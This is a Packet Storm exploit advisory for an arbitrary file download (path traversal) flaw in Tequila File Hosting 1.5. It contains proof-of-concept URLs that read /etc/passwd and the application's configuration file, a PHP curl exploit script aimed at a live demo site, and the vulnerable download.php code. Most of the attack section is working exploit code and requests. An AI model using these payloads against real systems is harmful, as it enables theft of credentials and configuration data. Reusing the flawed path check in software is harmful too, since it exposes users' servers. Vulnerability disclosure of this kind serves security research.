what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Tequila File Hosting 1.5 Arbitrary File Download

Tequila File Hosting 1.5 Arbitrary File Download
Posted Dec 15, 2015
Authored by Ehsan Hosseini

Tequila File Hosting version 1.5 suffers from an arbitrary file download vulnerability.

tags | exploit, arbitrary, info disclosure
SHA-256 | 94517623094566de5d1f9e9678eec971d63fcb6f124f128a12bd6df3728db8ad

Tequila File Hosting 1.5 Arbitrary File Download

Change Mirror Download
================================================================================
Tequila File Hosting Arbitrary File Download
================================================================================
# Vendor Homepage:
http://codecanyon.net/item/tequila-file-hosting-script/7604312
# Software Link: http://ehsansec.ir/apps/Tequila_v1.5-File_Hosting_Script.rar
# Date: 16/12/2015
# Author: Ashiyane Digital Security Team
# Version: 1.5
# Contact: hehsan979@gmail.com
# Source: http://ehsansec.ir/advisories/tequila-disclose.txt
================================================================================
# Description:
Tequila is a solid, safe, fast, simple and intuitive script which
allows companies or individuals to upload, manage and share their
files online. It is studied in every feature and was produced with
attention to every detail.

# PoC :

# Download Config
http://localhost/tequila/download.php?download.php?filename=files/../include/php/constants.php&name=file.php

# Download passwd
http://localhost/tequila/download.php?filename=files/../../../../../etc/passwd&name=passwd


# (PHP Exploit):

<?php
// page : download.php
echo "Tequila File Hosting Arbitrary File Download Exploiter\n";
echo "Discoverd By Ehsan Hosseini\n\n\n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,
"http://themedema.altervista.org/demo_tequila3/download.php?filename=files/../include/php/constants.php&name=file.php");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE
5.01; Windows NT 5.0)");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);
echo $buf;
?>

# Vulnerabile code:

<?php
//This script forces the download of the file

//Retrieving the file name from the querystring
//and the stepping stone path to the download folder
$fn = (isset($_GET['filename']) ? $_GET['filename'] : false);
$file = $fn;
$sn = (isset($_GET['name']) ? $_GET['name'] : false);
$secure_name = $sn;

if (strpos($file, "files/") !== false) {
$checkdownload = "true";
} else {
$checkdownload = "false";
}

//I verify that the file exists
if($checkdownload == "true"){
if (!file_exists($file)) {
//If there is mold an error
echo "The file does not exist!";
} else {
//If the file exists ...
//Imposed on the header of the page to force the download of the file
header("Cache-Control: public");
header("Content-Description: File Transfer");
header('Content-Type: application/zip');
header("Content-Disposition: attachment; filename= " . $secure_name);
header("Content-Transfer-Encoding: binary");
header('Connection: Keep-Alive');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
//I read the contents of the file
readfile($file);
exit;
}
}
?>

================================================================================
# Discovered By : Ehsan Hosseini (EhsanSec.ir)
================================================================================
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close